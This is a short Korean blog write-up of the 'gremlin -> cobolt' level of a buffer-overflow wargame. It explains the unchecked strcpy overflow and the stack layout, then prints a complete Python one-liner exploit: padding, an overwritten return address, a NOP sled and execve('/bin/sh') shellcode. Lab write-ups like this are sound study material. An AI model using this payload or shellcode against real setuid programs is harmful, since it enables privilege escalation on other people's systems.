BOF redhat 원정대 gremlin -> cobolt

BOF redhat 원정대 gremlin -> cobolt

cobolt, cobolt.c


이전 문제와 버퍼의 크기가 작아졌다는 것을 빼고는 다를 것이 없다.
strcpy에서 취약점이 발생하고 길이를 체크하지 않기 때문에 쉘코드를 RET를 덮은 이후에 넣어도 될 것같다.

gdb로 디스어셈블.

버퍼크기가 256에서 16으로 나머지는 바뀌고 똑같다. 이전 문제와 비슷하게 쉘코드를 구성해보면

[버퍼][SFP][RET]
[    20   ][RET][nop][쉘코드]

놉을 넣은 이유는 쉘코드를 바로 포인팅안해도 쉘코드가 실행될수 있도록 가능성을 높이기위해서이다.



A를 20개 넣고 실행 한 후 메모리를 보고 RET 다음의 주소를 알아내었다. 0xbffffaf0
위의 쉘코드 구성대로 쉘코드를 작성하고 공격하면


cobolt의 권한으로 쉘을 얻을 수 있다.

쉘코드 :
./cobolt `python -c 'print "A"*20 + "\xf0\xfa\xff\xbf" +"\x90"*50 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


0 개의 댓글:

댓글 쓰기